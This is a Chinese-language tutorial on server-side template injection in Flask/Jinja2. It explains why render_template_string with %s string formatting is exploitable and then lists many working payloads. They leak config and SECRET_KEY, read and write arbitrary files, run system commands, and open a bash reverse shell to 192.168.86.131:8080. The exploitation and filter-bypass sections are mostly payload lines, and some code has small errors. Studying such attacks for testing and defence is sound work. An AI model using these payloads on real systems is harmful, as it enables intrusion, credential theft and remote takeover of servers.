SSTI(Server-Side Template Injection),即服务端模板注入攻击,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控.

背景知识

Flask

Flask是一个使用Python编写的轻量级Web应用框架。其 WSGI 工具箱采用Werkzeug,模板引擎则使用Jinja2。

Jinja2

Jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。

在Jinja2中,存在三种语句:

1
2
3
控制结构 {% %}
变量取值 {{ }}
注释 {# #}

Jinja2模板中使用上述第二种的语法表示一个变量,它是一种特殊的占位符。当利用Jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,Jinja2支持Python中所有的Python数据类型比如列表、字段、对象等。被两个括号包裹的内容会输出其表达式的值。

Jinja2中的过滤器可以理解为是Jinja2里面的内置函数和字符串处理函数。

模板渲染函数

render_template()

渲染过程如下,render_template()函数的第一个参数为渲染的目标html页面、第二个参数为需要加载到页面指定标签位置的内容

Demo
app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import request, render_template

app = Flask(__name__)

@app.route('/')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
return render_template("index.html", person=person)

if __name__ == "__main__":
app.run(debug=True)

然后在当前目录新建templates目录,在其中新建index.html:

1
<h2>Hello {{ person.name }}!</h2>

当尝试进行XSS时,会自动被HTML编码过滤

render_template_string()
这个函数作用和前面的类似,顾名思义,区别在于只是第一个参数并非是文件名而是字符串。也就是说,我们不需要再在templates目录中新建HTML文件了,而是可以直接将HTML代码写到一个字符串中,然后使用该函数渲染该字符串中的HTML代码到页面即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
from flask import request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello {{ person.name }}!</h2>'
return render_template_string(template, person=person)

if __name__ == "__main__":
app.run(debug=True)

SSTI检测

通常测试模块类型的方式如下图:

这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说49会在 Twig 中返回49,而在 Jinja2 中则是7777777。

漏洞成因

由前面知道,要想实现模板注入,首先必须得注入模板执行语句,如:

1
2
控制结构 {% %}
变量取值 {{ }}

但是在前面两个函数的Demo中,html内容中是以这种变量取值语句的形式来处理传入的参数的,此时person.name的值无论是什么内容,都会被当作是字符串来进行处理而非模板语句来执行,比如即使传入的是config来构成,但其也只会把参数值当作是字符串而非模板语句

通过%s这种传参形式来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rom flask import Flask
from flask import request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person['name']
return render_template_string(template, person=person)

if __name__ == "__main__":
app.run(debug=True)

这里就能得出结论了:

  1. SSTI漏洞点为在render_template_string()函数中,作为模板的字符串参数中的传入参数是通过%s的形式获取而非变量取值语句的形式获取,从而导致攻击者通过构造恶意的模板语句来注入到模板中、模板解析执行了模板语句从而实现SSTI攻击;

  2. SSTI漏洞风险只出现在render_template_string()函数,而render_template()函数并不存在SSTI风险,因为render_template()函数中是传入到一个模板HTML文件中,而该html文件这种的变量取值语句实现不了修改成%s这种形式的;

漏洞利用

XSS

传入什么返回什么,第一时间想到的就是XSS。之前的变量取值语句传入时是会进行自动HTML编码的,但%s传入的参数是不会自动进行HTML编码的,因为Flask并没有将整个内容视为字符串。

敏感信息泄露

config是Flask模版中的一个全局对象,它代表”当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。

某些情况下,当获取secret_key后,即可对session进行重新签名,完成session的伪造。

注意:Flask的session是保存在客户端,称为客户端session,会进行编码和校验。

整合一下可利用的PoC技巧:

1
2
3
4
5
?name={{config}}
?name={{person.secret}}
?name={{self.__dict__}}
?name={{url_for.__globals__['current_app'].config}}
?name={{get_flashed_messages.__globals__['current_app'].config}}

任意文件读写

读文件

1
2
3
4
5
6
7
# Python2
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read()}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/passwd').read()

# Python3中无file,只能用open
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('E:/passwd').read()

这里ptython的序号可以fuzz一下

写文件

1
2
3
4
5
6
7
# python2 
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd','w').write('test')}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('test')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('test')


# python3

命令执行

利用from_pyfile加载对象到Flask配置环境

这种利用方式算是一种简单的漏洞组合拳。

先利用文件写入漏洞写一个Python文件:

1
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/m7.py','w').write('from subprocess import check_output\nRUNCMD=check_output\n')}}

然后使用config.from_pyfile将该Python文件加载到config变量中:

1
?name={{config.from_pyfile('E:/m7.py')}}

访问全局变量config查看是否加载成功:

然后使用config.from_pyfile将该Python文件加载到config变量中:

1
?name={{config.from_pyfile('E:/m7.py')}}


访问全局变量config查看是否加载成功:

加载成功后,就可以通过以下形式执行任意命令了:

1
?name={{config['RUNCMD']('whoami')}}

利用元素链中可利用的命令执行函数

1
2
python3:
GET /?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['linecache'].__dict__['os'].system('calc')}}

有回显的命令
python2

1
2
3
4
5
6
7
8
9
# os.popen(cmd).read()
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}

# platform.popen(cmd).read()
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}}

# sys.modules间接调用前面两个模块
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['os'].popen('whoami').read()}}
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['platform'].popen('whoami').read()}}

python3

1
2
3
4
5
6
7
8
9
10
os.popen(cmd).read()
?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}

platform.popen(cmd).read()
?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}}

sys.modules间接调用前面两个模块
?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('sys').modules['os'].popen('whoami').read()}}
?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('sys').modules['platform'].popen('whoami').read()}}
`

反弹shell

1
2
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()

控制结构

1
2
3
4
5
# 命令执行
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

# 文件操作
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('E:/passwd', 'r').read() }}{% endif %}{% endfor %}

绕过tips

无法直接获取全局变量config

1
2
3
?name={{config}}
?name={{url_for.__globals__['current_app'].config}}
?name={{get_flashed_messages.__globals__['current_app'].config}}

过滤引号

request.args是Flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤:

1
?name={{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=e:/passwd.txt

过滤双下划线

同样是利用Flask的request.args属性来绕过:

1
?name={{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('E:/passwd.txt').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤[]等括号

1
"".__class__.__bases__.__getitem__(0)

过滤了__subclasses__,拼凑法

实战例题

参考文章:
Flask/Jinja2 SSTI 学习
浅析Python Flask SSTI
flask之ssti模版注入从零到入门
Python模板注入(SSTI)深入学习